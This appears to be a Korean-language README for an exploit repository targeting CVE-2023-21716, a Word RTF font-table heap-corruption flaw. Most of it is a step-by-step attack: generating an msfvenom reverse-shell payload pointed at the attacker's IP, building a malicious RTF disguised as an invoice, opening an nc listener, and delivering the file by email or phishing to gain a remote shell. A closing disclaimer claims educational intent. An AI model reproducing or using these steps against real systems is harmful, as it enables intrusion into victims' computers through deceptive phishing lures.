CVE-2023-21716 — Microsoft Word RTF fonttbl 힙 손상 RCE

심각도: 치명적 (CVSS 9.8)
영향받는 제품: 패치되지 않은 Microsoft Word 2013 / 2016 / 2019 / 2021
패치: Microsoft 2023년 2월 화요일 패치
작성자: REGGYRAIDER

취약점 개요

CVE-2023-21716은 Microsoft Word의 RTF 파서(wwlib.dll)에 있는 힙 손상 취약점입니다.
Word가 32,767개 이상의 글꼴 항목을 포함하는 \fonttbl 지시문을 구문 분석할 때 내부 부호 있는 16비트 카운터가 오버플로우되어 힙 메타데이터를 손상시킵니다. 이로 인해 공격자는 피해자에게 조작된 .rtf 파일을 보내기만 하면 원격 코드 실행을 달성할 수 있습니다.

매크로 없음. 파일을 여는 것 외에 사용자 상호 작용 불필요.

설정 및 익스플로잇

1단계 — msfvenom을 사용하여 원시 셸코드 생성

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

2단계 — 이 저장소 복제

git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

3단계 — 악성 RTF 생성

python3 exploit.py payload.bin invoice_march2024.rtf

4단계 — 리스너 시작

nc -lvnp 4444

5단계 — 파일 전달

SMB, 이메일 첨부파일 또는 피싱 경로를 통해 업로드합니다.
피해자가 패치되지 않은 Word에서 invoice_march2024.rtf를 열면 당신은 리버스 셸을 받게 됩니다.

작동 방식

Attacker creates RTF          Word parses \fonttbl        Heap corrupted
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl with 32769+         Signed 16-bit counter        Attacker's
font definitions             overflows → 0x8000           shellcode runs

익스플로잇은 \fonttbl 내에 32,769개의 \f<N> 글꼴 정의를 포함시킵니다.
Word는 (오버플로우된) 카운터를 기준으로 고정 크기 버퍼를 할당합니다.
이후의 글꼴 쓰기는 할당된 버퍼를 넘어 인접한 힙 청크를 손상시킵니다.
원시 셸코드(payload.bin)는 \pict 안에 배치되어 손상된 영역에 위치하게 되며, 할당자가 이를 처리할 때 실행 권한을 얻습니다.

면책 조항

이 도구는 교육 목적 및 공인된 침투 테스트용으로만 제공됩니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 대해 이 익스플로잇을 사용하는 것은 불법입니다.
작성자는 오용에 대한 책임을 지지 않습니다.

CVE-2023-21716

인기